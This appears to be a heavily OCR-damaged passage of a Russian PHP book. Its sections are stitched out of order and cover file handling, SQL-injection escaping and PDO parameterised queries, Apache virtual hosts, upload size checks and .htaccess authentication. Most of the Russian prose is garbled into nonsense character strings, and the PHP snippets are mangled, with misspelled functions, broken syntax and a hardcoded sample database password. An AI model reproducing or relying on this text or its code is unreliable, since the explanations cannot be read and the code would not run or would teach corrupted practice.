(20 # noce crewa), a MOTOM MPOHCKONHT MPOBEPKA IOCTOBEPHOCTH PACUIMPEHHA H
Thna. J11a 10T WTOGH PaIOWT HA HACTH TEKCT, CONEPAKAUIMHACA B TOTE THIA Qaiina,
YAUHO MOIXOZHT QYHKIMS preq match() ¢ PErYAAPHHM BHPUKEHHEM *((a-z1+)\/
[x\-1* ((a-2]+) . 3aTeM OCYICCTRNAETER MPOBEPKA MOTYHEHHOMO THIA ¢ NIOMOUBIO
OnepaTOpa suitch. ECH OH He COOTBETCTBYET Hit OHOMY W3 PaSpellieHHA (cooTBeTET-
BYIOULAX KapTHHKAN), TO BHIIBIETCH METOM dic ) /14 3aBepIIEHHS PAGOTH CuleHapys.

<zphp
breg_ratch(** ([a-z+)\/ (x\1* ([a-21+)
print ("<B>Sext (117 ;
print ("<B>Sext (2"

stilel_type, Sext);

suiteh(sexc [21)
(
case "3pg"s
case "jpeg":
case "pipeq":
case "gie:
break;
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2+ — OTKpHTH Galin 1A UTEHNR W 3aTHCH. YKAYATENh YCTAHABTHBAETCA B KOHEI
daina;

b oGpabatsieats GuapHii afin. Fror ar HeoGxomHM mpw paboTe ¢ Grap-
o aiinann p OC Windows;

0 use_include_path — WOKaT (Gaiin b KATATOTA, YKIGHHbIX B AWDEKTHEE include_
path KORDHTYPAIKOHHOTO (bafina php.ini.

Ecan orxpasaensii aiin He cyuiecrsyer, 1o on Gyser cosnan. Eenu daiin we cyuect-
ByeT, To yGenuTeck B HaH y Web-CepRepa npas Ha JAMHCH B KATATON, T1e GYZET
covMaBaTECA pai, whave (ail COSIATH Gy ET HERb3A, H CepBED BOIBPATHT OUIHOKY.

yHKUMA BOTBPAILAET AECKPHTTOP OTKPHTOTO (Galina W £alse, ECTH MOMHITKA OTKPH-
THA IpOLIT HeynauHO. Bl JOAHB BHNATESHO OGPAGATHIBTS Bee OUMGKH BBO-
Aa/osivona. Eci i He YAI0Ck OTKPHITH, TO HEOGXOMNMO NpEpBaTD AGOTy clea-
pus.
§£(3t=topen ("testeile.txt?, "ws"))

( print ("sann omeper (56"); )

1 die(omioxa orxpuin gafina’

s
OTKPLBATS MOKIO He TOTIKO TOKATHHHE Daiibt Cepepa, HO W daliei, pacToToKeHHE
A ZpYTHX cepBEpAX, TOMISKO /U4 ITOT0 AOTAEH HCTOTb30BATHCA npoToxon HTTP win
FTP. Hanphwep, crenyiouas cTposa oTwpesaer daa o nporokory HTTP:
Stetopen("hecp: /et you_domain/testile. Xt "%}

A Teneph MOGMOTPHM Ha aGOTY ¢ Gafirowm o nporokony FTI
s

open ("

p://£tp.you_domain/testtile.txt", "c")

KaKk BUITE, HWYETO CTPAIMOTO TYT HeT. Bee MAKCHMATHHO MPOSTO, H He TpebyeTca
IHaHHE CTERbIX MPOTOKOAOB. Bce MPOWCXOTHT Tak e, Kak M ¢ (alinaMu TOKaTsHOH
paiinoBoft cHeTeNH, TOTBKO BMECTO MyTH yKasssaetes URL.

2.14.2. 3axpurue gaiina

Bo spews oTkpHITHA daitna OC BUIETAET PEcypeht /T4 XPAHEHHA JaHHbX, HEOOXOmM-

MbiX 21 PaGOTHI. ECTH He 0CBOGOXAATS Take Pecypesi, To MPOIBOTATERBHOCTS cep-

Bepa CO BPENCHEN MOXET TOMTH Ha YG5UT, MOTOMY HYXHO BCEra HX OCBOGOKIATS, &

B ZaHHOM cyae — 5aKpHTh alin. JL1A 0T CyUECTRYeT dYHKLMA £close ), KOTOpas

B OGlteN BiAIe BHICTATAT CTEYIOLIAM OGPaION

ine elose (int £)

ynKam nepeaaeTes A€CKPHITTOp 3axphiBaemoro aiia. Ecnn sce mpomio yaauno, To

QYHKLMA BOIBPALACT true, WHAUE alse. CTETYIOUIAH MDHMEp MOKATIBAET, Kak OT-

KPS 1 3akpBITh i

£(1 (3£=Fopen testeile. txe”, "
{ print ("amoxa orxpsmin aiin
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EAMHCTBEHHH HETOCTATOK (byWKAH mysql_real escape_String() B TOM, 470 IpH ee
BLII0BE OGASATENLHO 10TKHO GHIT5 XOTA Gl OHO OTKPHITOE COCTMHEHHE ¢ Ga%0 Jak-
HbiX. EGH COEIUHEHMA HET, TO BHITIOTHEHHE YHKIIMH CTAHET HBO3MORIIM

TlpH BbI30Be mysl_real escape_string () HYAHO YKESATh A8a NGPAMCTP: FIEPCMCHHYIO
O CTPOKOH, COTPAHMOE KOTOPOF! HyCHO OGE3BPEANTS, H NEPENEHHYIO ¢ NOTKTIOCHH-
en k MySQL. Ec/H 5T0poii NapaweTp He YKasars, T0 A1A Bbi30B GyHKLAH GyeT He-
TIOLI0BATECA MIOGAEIHEE COETUHENHE C Ga30f, CO3TAMHOE C MOMOUIBIO mysql_connect.
'BOT TPHMEp HCrIOL30BAKK GYKLUH rysq_real_escape_string ()

Sablink = mysql_connect (
if (saplink = 0)
die("Can't connect. to Database Server”);

ocalhost, "username", "password")

5_GET (paran_nane]
mysql_real_escape_string (5_GET (paran nane], SdbLink),

A ecn BRTOUEH MATHCCKHe Kas

Lki? B 3TOM CTyae rieped IKPAHHPORAHEN ¢ Ho-
MOLIMO mysq1_teal escape_steing() Tylie YOPATS OKPAHHPOBAHHE 10 YNOTIZHHO,
. €. B GAMOM HANTE MOAIO HATHCATS KOI:
4 (int_get (nagic._quotes_gpe))

5_GET(paran name] = addslashes (3_GET (pazan nane])

10 puGpaTs: mysql real_escape string() WK addslashes ()7 51 He NOTY AATH COBeTa
Hexotopie nocTynaior Ta
i€ (1ini_get (ragic_quotes_gpe))
5 GETiparam nane] = addslashes (5_GET(parar_nanel)
5_GET(pazan nane)
mysql_real_escape_string(s_GET(param narel, SdbLink),

TOT KOA FAPANTHPYeT, ¥TO B Balliew CHEHAPHH OGAIATENBHO GyACT MPOMIBETEHO Kpa-
~HMpOBaHE 0GOHMH CriocoGavu. JKe He IHa, UTO CKAIATh 110 STOMY N0BOY. B MpHH-
LT, Takot METOZ MMEET IPABO Ha AHIH, HYAHO TOTHKO He 3A0HIBATS B YOH-
[PATH SKPAHHPOBAHHE, T. €. BIIBIBATS steipslashes )

3.8.4. TlapameTpusupoBaHHLIe 3aNPOCK

BOIMOXHO, YKe COITATOCH BrievaTEHHe, “TO 3aummaThs oT SQL Injection b peansito-
TH OYeHb CIOKHO H 110GAA OWIMOK MOXET TIPHBECTH K BIIOMY. IO TOTHKO KAKETCA.
370 KaKk b GOTBUMHCTEE LIYTOK HAMHIAIOT C — Y MEHA €CTh AT BAC JBE HOBOCTH —
XOpouias # 110xa3. BOT  Ge3 TpEyTIPEIEHHS HAHA ¢ IUIOXOH HOBOGTH. A Tereps ie-
pexomM k xopouei.

Sauprwrsca ot SQL Injection oens MPOCTO, €CM HCNOTH30BAT NAPAMETPHIPOBIH-
Hble 3aTIPOCH, OTKANTECA OT mysql_~byHKILAH H B3ATS Ha BOOpYAEHHE Gorice CoBpeMCH-
i noxon PDO.

S 4718 CeG HATIHCAT 13 BCTIOMOTATEIBHAX KIACCa Coatabase H CQuery, KOTOPHIE YITpO-
WAKOT NOZKTIONEHHE K Gse JaHHSX W TIOTYEHHE AGHHBIX, W HCTIOTEIYH0 WX B HEGOTE-
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B Mac OS kowdurypaunonsie paitns: Apache pacrionoens b kararore /etc/apache2.
TIpiieM 10 YMOTHAHHIO KOHGHIYPALYA PACTIPEAEIEH P MHOeCTBa paiiios. B He-
KOTOpBX CHETEMAX 110 YMOTHGHMIO BCe XPAHHTEA B 0AHOM Gombiiow Gaiine hitp.conf.
¥ Mens Ha BBUICTCHHOM cephepe B HHTEpHET-xocTHHre crowT OC CentOS,  Ta 10
YMOTHAHHIO HMEHHO TaK OGCTOAT Ze71a.

CocoG pacrionoXeis KONGHTYPALHONHEIX (Gaiion MOKHO WMEHHT, T.K. Ceppep
Apache AocTarouro TG 1 ero MOKHO KompwrypHpoRaTh. Ho 9To Tewa oTACTBHOR
Kerw o Linux win Apache.

Jins wasara omipeiaew daitn hitpd-vhosts.conf B I0GOM TEKCTOBOM  peaaKTope.
1 npeanowrrao vi:

Vi /ete/apache2/extxa/httpd-vhosts. cont
JloGansem cexytouyio cexiio:
<virtualkost *:d0>
DocumentRoot. "/Users /michael flenov/Projects /ieb/phpbook™
Servertane phpbook
Errorlog "/private/var/log/apache2/dumy.error_log’

Customiog "/private/var/1og/apache?/dumy.access_log" comon
</Virtualtost>

3nech 5 Covnalo KB BMpTYATbHIH XocT, BaTs KOTOPOTO GyIYT PacrioNaraThes
» nane /Users/michaelflenov/Projects/Web/phpbook. Hw cepsepa Gyzer phpbook, 1
HIMCHHO 0 3TOMY HMeHH B Gpayepe Msi CMOAEM OGPATHTECH K Halemy Cairy.
TapaveTpst Exrorios 1 Custoniog He OBRIATEBHb ¢ TouKM 3pens paGors: calfta, Ho
KETATETBHO OGECTEUHT MX YHHKATHHOCTS — A KAKIOTO CaiiTa MHIHBHIYATbHE,
TG IPOILE GHLT0 OTAKMBATS BOIMOXHHIE TIPOGAEN

UroGex Apache NPOUHTa HACTPOWKH, €F0 HYIKHO NIEpE3AYCTHIY, BHIIOTHHS KOMANTY:
sudo apachect] restart

Calfr roroB, Ho Gpaysep NIOKa He CMOKET 3arpyIHTh €ro 1o vk phpbook, noTowy wTo
HHKTO He SHAT, YTO 3TO MM JO/IKHO YKAJHBATS Ha STOT e KOMTHOTED. OGHIHO, KO-
T2 M1 OGPAUIENCA K calfTan B HHTEPHETE, BOTIPOCOM MPEBPALIENNA HNEHH B a1pec
aamvactcs DNS, Ho B wawem crysac ero Wer. TIpn TOKATbHOR paTpaGOTKE MOXHO
‘oBofiTwes w hosts-paitrow. B Linux w Mac OS 570 daia /ete/hosts, b koTopsii A0Gans-
en HOBYIO Samich:

121.0.0.1  phpbook

Bor Teneps Bce rOTOBO, HTOGH Ml CMOTH PaGOTaTH ¢ PHP-CKPHITTaMM  TecTHpOBATS
WX, HCTOT3YA Hau caift, HEKOTOpe TIOGHT HCMOTHI0BATS Takwe MPOTPaNM, Kak
MAMP, xoTopsie npezocTamasioT swayansbiil wHTepefic 415 KOMGHTYpHPOBAHHA 10-
~KaTbHBIX CaifToB. EGITH HECTHO, TO % HeE BHOKY CMBICTA OT HX HCTIOTLIOBAHHS, IOTOMY ¥TO
BPYHHYIO 3TO AETAETCA ONeHS AWK TpOcTo.
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He. B pa0. 3.4.1 Ml PACCMOTPHM MPHMEP OLINGIA, KOTOpSIH 3 HALIEN BO BPEMS Hari-
AR STOM KHHIH, B YBHIUIT, Kak XAKEPb MOTTH Gbl BYIOMGTS JOSTATOSHO HHTE-
pecruii caitr

aiitet Ote YAOGHS! A XPAHEHHA TIPOCTHIX JGHHIX, TAKHX KaK HACTpOFKH CaliTa W
~HeGonbiuiHe G0KH ZaHHbIX, KOTOPHIE AOTAHS! BHIBOTMTLER Ha CTPaHWLE. ECTH ARHHbX
MHOTO, TO B 9TOM CAyae 1A XPaHEHHA 7Ty ule TIOIXOIAT GA3bt ASHHHIX.

M3 PHP-cuenapies sbi MOXeTe paGorTarh ¢ moGbin Gaikiom cephepa, Ha KOTOpH yeTa-
HOBIHO GoOTRETTBYIOIIEE MpABO A0CTYNA. C APYTOfi CTOPOHS, Z0CTYI AOTKeH GHITh
Paspetlien TOTHKO K TeM daiLian, KOTOpHE HEOGXORHMS.

Tpasa socryna onpezensiores mpasamn Web-cepaepa, 7. k. oGpauenwe k daiionofi
CHCTEMe TIPOHCXOTHT HeHHO OT Hwery Web-cepepa. Ecim cepeep paGoraer  mpasawi
1001, TO MY CUCHAPHS MOAHO GYICT OBPATHTECA A0COTIOTHO K M0GOMY (aiiny, B ToM
SHCTE W K KOHGHTYPALHOHHOMY, HTO HEXOPOUIO. Bbt TOTAHH SHAT, KK IPABKTSHO Ha~
crpowts choli Web-cepaep. O Hactpofike caworo nomyspworo cephepa Apache Ha
naopwe Linux nbi Mowete npowah b kinhre "Linux rnasawn xaxepa” [1].

PaGoTa ¢ aiinawi MPOHCXOHT B TpH ITana.

1. Orxpoirie dafina.

2. Urenne w Moz pHKaIAS AaHHIX

3. axpuitwe daiina

Jlavaitre pacewoTpu dynKiuin PHP, KOTOpHE TIOSBOTAT HaM PEATHIORATS BCe TH TPH
rana. ToTBKO HIYaTh yHKILAH GYAC HEMHOTO B APYTOM MOPAIXE — OTKPHITHE, 32-
KPHITHE M sTenve/IMeHEIe,

2.14.1. Orrpurtue aiina

aiin OTKpHIBACTCA ¢ MOMOUIBIO GyHKIUH fopen (), KOTOpas B OBILEM BIE BHIIATHT
caeyiouM 0GpaION:

int fopen(string £ilenans, string mode [, int use_include path])

' pyHKLIH TPH NPAMETPS, repBbIE 150 13 HIFX ABTAIOTCR OBHSATE LA, Pacowor-
e

00 £11cnane — s aiina, eCTH OH HAXOANTCA B TEKYILIEN KATATOTE, Wik NOTHAH IyTh;
3 mocte — peiom OTKpHTHS Baiiza. Fech MOKHO IEEAABATH CTEVIOLINE SHAYEHHA:
— OTKPHITS (palta TONEKO 1A HTEHHA;

@ c+ — OTKpHITS it A STEHMA W SATHCH;

 w— OTKPHTS bl ToKO 13 sarHCH. ECM O CYLECTRYET, TO Tekyuee COnep-
KitOe alina yHTORIETCR, YKaNTEIs YCTAHABIHBICTES B HataT0;

* s — OTKpITS alin 1 TekA 1A 3anvcH. ECTH O CYUIECTRYeT, TO Tekylee
ConepKiNOR (aiina YHHNTOKAETCA, Y KISATE b YCTAHARTHBACTEA B HAURAO;

« o OTRPLITS (aitn 41 3ancH. VKASATEN YCTAMARTHBACTER b KOHeL Gailia;
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i (5_FILSS("file1") ["size)== 0) (
die("Sarin Ne Cun KOppeKTHO SarpyXeH"
'

HEA0CTATOK 97070 METORA JAKTIONAETCH B TOM, 'TO XAKEP MOKET JETKO YIATHTS Hesh-
JIMMOE TIOIE ¢ OTPAHHYEHHEN, Bells NDOBEPKa GYJIET NPOHCXOHTS HA CTOPOHE KIHEHTA
» HTML-opwe. Tlo3ToMy ysiuie NPOMIBOZINTS TIPOBEPKY Ha CTOPOHE cepBpd, KOTIA
aitn Gyzer sarpywen:
<zphp

S (5_PILES["Ei1e17] ("size") > 10°1024) (

die ("Cramon Gonmuo pazwep Gaina”) ;

i (move_uploaded_£ile (stilel,
"/vaz /mou/ntml /Eiles/ " 3t1101_nane)) (
print (<><@>Camplete</a>"

)

else

print ("uwioKa xompoRaNAS Gafna 1</B:

)

B TN NpHMepe Mbi B Haane ClCHApHA TpOBEpACM, STOG paIwep JarpyKEHHoOro haii-
28 e Guun Gonee 10 KoaiiT (10, ywHoentoe Ha 1024 Gaitr, . e. wa | Koaiir).
TTpeHMyImECTO JTOrO METOa COCTONT B ToM, IO MPOBEPKY He YAACTEA YOPATS, eci e
MMETS 20GTYIIa K HCXOHOMY KOTY CIIEHAPHS H BOIMOXHOCTH €10 DEIaKTHPOBHHS.
TlocaeHi CTocol — WIMEHEHHE AMPEKTHB upload max_Eilesize KOHDHIYpAUHOR-
HOro aiina php.ini. CreTyioui MpMep YCTAMAMTMBACT MaKCHMATOHS pasvep
2 M

upload max_filesize = 2

HEZOCTATOK BCEX METOOB: TOT aKT, 4TO MOTHIOBATENb BHOPAT CTHIIKOM GonbwoH
i, CTaHET HIBECTHEIN TOTIKO NOGAE €ro JarpyaKH. ITO TPaTa TPAKa  BpeNCITH.

5.2. Tlposepka KOppeKTHOCTM aiina

B pas0. 5.1 Mt BHCHITH, STO IpH 3arpy3Ke (Galii0B BONMKAT MPOIEMa TPaB A0CTY-
na. WroG pailn MOAHO GbLI0 3arpysHTh, Web-cephepy AOMKHS GHTh Aakbi npasa Ha
3AIHCE B KATAIO, BETb 9TO OT €T HMEHH Mt 6y leM KoMMpoBaTh dpailn 3 oueH nank.
Jarpywensih Gaii 10 YMOTHAHHIO MOXET WNCT IpABA Ha BHINOTHEHHE (€CTH KTO-TO
P MPOGAEMY TpaBa 10CTYa YCTaHOBKO 777). Takim OGPA3ON, eci Xakep 3arpy-
30T choit PHP-CliCHADHH W CYMET BHITIOTHHTS €10 Ha CEPREPE, TO 9TO MOXET IpHBCCTH
K BYI0MY BCETO Cephepa. JarpyKentbic Gaiiol Hi B KOEM CAYNAE H IOTKHH HMET
npasa Ha BsmOHEnve. 51 C TPYAOM MPEACTABIKO CHTYAILAIO, B KOTOPOH MOKCT NIOHAAO-
Guties BumonKATh dalni nonssoaTech.
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Terneps uws Gasbi AHHIX GYET COCTORTS 13 MMEHH LESt ILTIOC TO, 41O EpeARHO B ne-
pemenHON 53l

Ho 970 64110 MPOCTO Tak, AMpHAECKOE OTCTYILTEHHE Heies wa Bepmn.

Hirak, y wens B knacce ecrh Cratmueckiit METOA Connect oo, Ero 5a1a4a — covats
coeqente  BepHYTS €r0. BIYTPH METONa UTA HATARINOCTH OGHARIAIOTCH MepeMe-
HHIE C IBPAMETPAMH I0CTYTIa K Gase JaHHHIX H IDOHCXOTHT CO3IAHHE HOBOTO SKIENTITA-
pa Knacea £o0;

new PDO(napaveTps ZocTyma K Gase) s

Covtanmbil SKSEMIVIAP COXPAHAETER b MACCHRE Scorect107s, H TIPH TIOCTEAYIOUIIX 10~
IITKAX OTKPHITS COBIMHERHE © TAKIM K€ MPEPHKCOM HEOTIYETCA YAE CYUIECTEYI0-
A oK.

CHOBA AMPHYECKOE OTCTYTLTEHYE: TIONEMY A COVILT UEAM CTACe TOTHKO PATH OTHOH
TIEpeMERHOF 1 OIHOTO CTATHYECKOTO MeTona? Hey:Ken HEMkiA G610 MpOCTO CovtaT,
afin KoRa M Ges BERKINX KIACCOR OGDABHTS NepemenTyio  METOn?

Moo, Boswo0 ace, Ho TaKoli OAXOR AaTeKo e cawtsii kpacknii. [1pocTo paz
HATIATHOCTH B 9TOH KMMC MHOTO (AWIOB, B KOTODHX KOX PACTIOTATACTCA PAAOM
@ HTML-TeKCTOM  Ge3 WCTOTLI08aHHA OGHeKTHOTO IPOTPAMMHPOBIHAK, & B PEATHHbX
"MPOEKTAX AYHIIIE HCIIONB30BATS OGHEKTE

B AQHHOM CTyWae Y HAC KOT YTPARTCHHS COCTUHEHHEN ¢ IS0 AQHHKIX, W ATA HETO
BIOHe JOTHAHO (Ha MOl BITAST) COBIATE KAKOW-TO KIACC, B KOTOPOM H GYIET HaX0-
AWTHCA Halll KO OTKPHITHA COCTIHHEHMA H YTABIEHWA YK CYUIECTEIOIUNH.

JLns paGOTH ¢ SAMPOCaNH Y MeNS €CTh ApYTOi Knace, Couery (TMeTHAF 3.2).

<aphp

class couery (
private Squer
private Sline -
private Szow;
private Slines = array();

public function _construct ($sql, Sparams) (
Sthis->query = CDatabase: :ConnectToD(*test ") ->propare ($sql) ;

foreach (sparans as Skey => Svalue) {

Sthis->query->bindvalue (":" . Skey, Svalvel;

Sthis->query->exccute () ;
Sthis->line = 0;
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JlaNias KiMra TIOGRAULCHA OZWOMY 3 TONYIAPHHLINX AJBIKOB MPOTPANMUPORANH
Web-caifton — PHP. TIpouHTaB 01y KHHIY, HEBOSMOKHO CTATH SKCIIEPTOM B TaKOM
OG7ACTH, KaK MPOTPAMMHUPOBAHHE, HO A OCTAPAIOCH MPETIOHECTH MATEPHAT MIKCH-
MATHHO TIDOCTO W YBICKATENbHO. 1 CHMTAI0, 4TO WHGOPMALLAS TYWLE YCBAMBAETCS,
KOT2 OHa IPETIOAHOGHTEA ¢ MITEPECOM, & BBl BIUTE PEsybTar.

‘Te KHHTH, KOTOPHIE % “HTAT, CTABAT lepeA CoGOH Wb HAYWHTS SHTATENA MPOTPaMMH-
POBATS, H TOTbKO B KOWIE KHHT OGPAILAIOT BHAMAHHE Ha OTITHMIGALIIO W B30T
HOCTs. MHE KEXETCA, HTO 310 HE COBCEM BEpHO, IOTOMY HTO €CH HETOBEKa HaYHTS
TIPOTPAMMHPOBATS HEXEKTHBHO, TO TOTOM C IOMOULSHO AP LAB TIEPEYHT €r0 6y~
JeT eomo.

O Ges0macHOCTH HYXHO IYMATh BCETA, MOTOMY SO IT0 KOMIUTEKcHas mpoGewa. Her
TAKOFO pelieHiA, KOTOPOE MOAET FapAHTHOBATS, HTO TIOCIE €10 PEATHIAIM BAII KOX
craner aGcomoTHo Gesonacsin. [1poGiewsi GHBAIOT pasie, W PEILATS HX MPHXOTHTCS
T0-paskomy.

OuMGKH TPOTPAMMSI MOTYT MPHHECTH MHOTO NOTS3H (12-12), MIOTOMY 'TO, BHACHES
MPHPOY OUIMGKH, Bl CyMEETe ysiie PaiOGPATECA ¢ MIOCTARTCHHbIM BOMPOCON H CNO-
Kere waliTn npaswbHOe petienne. HO 9T0 TOTHKO €c OWHGKS MPOHCXOTHT B0 BPENS
paspaGorian w He myGKyeTca Ha pabowme cepaephi. UroGs owHGKa He okaaack
TaThHOR 1A CATa W KAPHEPH! MPOTPAMMHCTA, KETATEAHO MOCTORHHO OTCTEXHBATS
TCHACHIM B TEXHOTOTHAX KOMITBIOTEPHOM GEI0NACHOCTH H MPOBEPATS CBOH CAT Ha
TPEAMET BOIMOXHEIX YRIBHMOCTEH.

JlaHHas KHHF OCBEUIET A36IK MPOrpaMMHpOBaHA PHP, HAHHAA © CAMHIX OGHOB, H 0l
HOBPEMEHHO JATPATHBAET QCTICKTH! GEIOMACHOCTH W OTHMHSALIH PaBOTHI CIICHIPHED.
TaKiw OGPa3OM, Bbi C CAMOO HatANa GYAETE YHTLC COVIABATS GHCTPHIE H auBIEH-
Hbie mpHIOKEHHS. O G€0NACHOCTH HYAHO IYMATS BCETAa, & He B KOHLE PAGOTH. 1 1ake
cxaxy Gonbiuie — o Heil HYAHO AYMATS ellie 10 TOTO, KaK Bl HAUHETE TTHCATS KOL

XOTH Wbt GY1eM PAcCMATPHBATS GE30NACHOCTS W OTHMHIAILIIO B TEHEHHE BCETO TIEPHO-
7 oyenns sika PHP, 5 HE MOTY CKASATS, “TO B TIOTYSHTE HCHEPHIBIONME ChEE-
Hi%. OHEHS MHOTOE MOAET OKI3ATECA 32 TIPEETANH KHHTH, TIOTOMY SO HETE% YBHIETH
BCE W BHpAGOTATS AGCOTIOTHO XpdeKTHBHHIC W YHHBEDCATHHbIE WITOPHTMBI HA BCE CTy-
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JleofiHas npoBepKa yKe Goiee HATEKHA, HO He SBTACTCA PEUIEHHEM BOEX IPOGIEN Geso-
‘nackocTh. Hanphwep, HetaBHO Ghuta HailzeHa owMGKa B GYNKUHAX OTpEETeiA pas-
Mepa b PHP. Jla, (rymkauwii necxomsxo. JL1 Kazoro Tana (aiina ccr cros GyHKius, HO
BOE OMM OGBEIHHEHS B OTHY get inagesize ). ECIH CUEHAPHIO EpenaTs rpagurieckih
aiin TIFF, b koTopow Gyzet ykasa paswep —8, To cuewapii nonazet b GeckoneHbli
LMK 1 GYAET BHINOTHATECA, IOKA He TIOTIOTHT Bce Pecypebi Cepaepa. TakiM oGpasov,
OHH XaKep MO Ge3 NpOGieM MPOW3BECTH aTaKY OTKE3A 0T oGcyKHBaHHs (Do, Denial
of Service). OumGka ects 1 B ynKuin o6paGoTn JPEG-aira

51 TOHHMaI0, SO OUIHGKA B GYHKLIH Getinages ze () — 5T0 MPOGIENa Pa3paGoTHKOB
PHP, a e auero cucHapws, Ho oHa cyliecTaopana. Ceiuac OMGKa yke HCTpaBI€Ha.

5.3. 3anpetHaa 30Ha

OGHomnATs WdopmaO Ha caiite wepes FTP-KTHENTA © MOMOILIHO aKAUKI HOBHX
aili0B HeyI0GHO 1 He BCerIa BOIMOXHO. HarpHMEp, MHE NPHXOTTIOCh BCTPESaTCR
 ceTaww, rae moGoit ocTyn B Hnreprer, kpome HTTP, Guun sanpeuten, a swawr, FTP-
pOTOKO He Gbun AoCTyTIEH. JUTA YTIpARTEHHA CafTaNH HAMHOTO YOGHEE HCTIOTB30RATH
‘Web-repdefic u celmanbiHsie PAyIETs CalfTa, KOTOPHIE HACTO HAYIBAIOT AONUHUCTI-
pamopexswu nanerg.

Cueapii aIMMHACTPHPOBAHHA TIOTBOIIOT YNPARTSTS comepkimbin Web-crpari,
TIOSTOMY OHH ZOTAHb GHITS SAKPBITHI OT 0CTOpOHHTO B3r1AAA. JIA8 ITOFO HEOGXOMHNA
OTAEIISHAA JAUTA, KOTOPES TIOSBOTHT BAM CIIATh GIIOKORHO M HE J4CT XAKEPY BHIIOf-
TS IDHBHTCTHpOBAISIE OMEpALIH. A [UIA JATH HaM HYKHS! HpibexTHBHHE CPeACT-
ba ayTesTHHKaLH Ha cepBepe.

5.3.1. AyTeHTUguKauua

Ecnn xakof-mG0 Kataior Web-ceppepa OTKEH HMET 0CoGkie NpaBa 10Ty, T0
MOXHO costaTh B 3TOM Karanore aln htaccess. B 3o dpaiie OMHCHBOTCA paspelie-
HA, KOTOpBIE AEACTBYIOT Ha KATANO, B KOTOPOM HAXOZWTCA 9TOT dpai. Tlpw oGpatite-
Wik 1060wy iy i3 KaTazora Web-ceppep GyeT TpeGORaTh, STOGH MoTH30BATENs
npouien npoueaypy ayreiruduKauuin. Jla, TPeGOBATS 370 Gy et WueHio Web-cepaep,
B CUEHAPHIH HHYERO TIHCATh He HAZo. TaKitM OGPA3OM, Bbi TIOTYAETe B CBOE PACTIOpAKe-
e XpeKTHBNLH H OTIZKEHHSIA TOTAMH METOZ 00ECTIEHEHHA Ge30NaCHOCTH KOHQH-
AEHUMATLHBIX ZaHHEX.

Paccworpim npiep cozepmmoro daitna htaccess:

AuchType Basic

huthane "By Invitation Only"

AuthisexFile /pub/none/lenov/passed

Require valid-user

B nepBO/i CTPOKe Ml 3a16M THN Gy TEHTHDHKALIAH © IOMOILSH0 JHPEKTHBHY AuchType.
B JGHHOM pHMEpE HCTIOTH3YETCA GII0BAA AYTEHTHMKALHA — Easic, IPH KOTOpOM
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X MpOEKTaX. 51 PEIHT B 5TOR KT MONETHTLCA KAACCAMMH, TIOTOMY STO OHM HHTe-
PECHS! © TOUKH SPEHHA OBYEHHA, # MEI JAOTNO YBHIMM, KAK MOKHO HCTIOTE3ORATS
GesonacHsii 0Ty K AQHHBIN.

Hasen ¢ Knacca Coatabase, KOTOPH CO3AAET MOTKTOYEHHA K Gase AamHX (-
e 3.1).

[ Tincrnr 3.1, Knaco, oTaesarouni 5a oaKmiovenwe K Gade AaHHuix ]

Class Coatabase |
static Sconnections

array();

public static function ConnectToDs (Spfx)
t

Sdb_nane = "test”
Sdb_login = "cest
Sdb_pass = "PlerTSSKO%6ted";
Sdbhost = "127.0.0.1%

S (in_array(spx, Chatabase: :Sconnections) )
{ retum Coatabase: :Sconnections [SpEx]; |

Sconnections ($pex] =
hew POO('mysqlihost=" . Scbhost . ';dbname' . Sdb_name. ',
sdb_login, Sdb_pass,
‘areay (FDO¢ MYSQL, ATTR_INIT_COMMAND => 'SET NAMES utf8')) s
)
caten (ooBxception Se) [
print (Se->getiessage ()5
)
return Coatabase: :sconnections (SpExl
)
)

TOGH KTACE TIOMEWATCH B KHHTE, 3 €10 HEMHOTO YIPOCTI, HO B KOAE Bl €Lle MOKETE
YBWICT TakYIo NIEPEMEHHYIO, KaK Spex, KOTOPAR B MOEM NIOTHOM KIGCCe MOSBOTAET
‘OTKPMBATS CPa3Y HECKOTHKO MOTKTIONEHHH K PATHHBM Ga3aM AHHSIX 3 OTHOTO Clle-
HapHa. T MHE HeOGXOTMMO G0 /X PACTIDEAETEHHA HarpysKH. B 3Tofi Kiwre niepe-
MeHan Spix J0KHa GHTh 3apatee OMpeNEENTOH KONCTAITOM, KOTOpas 1 Ha HTo He
Bmser.

C TOMOIIBHO MIPEQHHKEOB MOXHO peariioRaTh AOCTYIN K HECKOTbKH Ga3aM Ha OTHOM W
ToM e cepaepe, HanpHMep, TaK

Sdb_nane = "test” . 36
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Ecn §aiin He 3aKPHUICS, TO Mbl YKE HIERO TIOTETATS He CMOACN, TIOITOMY MBTaTees
OTPEATHPOBATS Ha NIOTEHUMATH e POGAEMHI GecrionesHo. BIposew, HHKAKIX npoGiew
6biTh He 20KHO.

2.14.3. YreHue AaHHEIX

JInn “Tenns AamRBX #) paa MOXHO HCTIOTBIOBATS HECKOTBKO (yHKIMH: fread (),
fgetc ), fgets (), foetss (). KXt 3 WX YIoGHa A OMpEXEEHHOTO cywas. Pac-
CMOTPHM HX 10 O¥epezH Ha NpHMEpax.

HanGo/1ee 4aCTO HCrI0nb3yeMOl NpOrPaMMHCTaNH dyHKUHeH SBTAETCS £read (), KOTOpaR
BTINT CAEAYIOIM OGPaION:

string fread(int €, int length)

'Y 5ToH ymKunM 168 napaveTpa:

O neckpHITTOp aina, H3 KOTOPOTO KYKHO NPOSBOTHTS UTemHe;

3 KOTHYECTBO HEOGXOTHMSIX CHMBOTD.

B Ka¥ecTBe pesyITaTa (yHKLUAA BOJBPALIACT CTPOKY MPOSHTAHHGX AaHHSX. TIpH oo
TI0C1E BHINOTHENMA GYHKIIH YKASATETh TekyIeH NOSHUIAH CMELAETCA B KOHEL oS-
TAHHEIX JQHHGDX, W IpH CTEAYIOUIEM Bbi30Be GYHKLDM £read() GYIYT WTATHCR cre-
pop—

PaccuoTphy npHvep:

SE(1 (3€=Fopen ("/vax /mai/beml /1 /testeile. txE", "EM))
{ die("File open errorm); |

11 wrerse nepmx cessr casonon
55 = fread(se, 1)
print ("<B>Line 1: $s7);

11 snewie ocraswxcn 11 cimonos
S5 = fread(st, 117
print 5575

PoLine

felose(st)
Jlomyerin, 0 y Wac ects daiin testfile.txt, B koTopom HaxomTes crpoxa "This is a
test". B miepBoil CTPOSKe KOZA M5! OTKPBIBaEM 3TOT i, IpH TOM YKasaTerh yeTaras-
pacTCR B HEATO aina. UTacM mepBbie 7 CHMBOTOB C MOMOLISIO (PYHKLIM £esd )
W BBIBOTIM 15X Ha SKpa. Terieph yKasaTeh (Gafi1a HAXOIMTCA Ha BOCKMOM CHMBOT, H
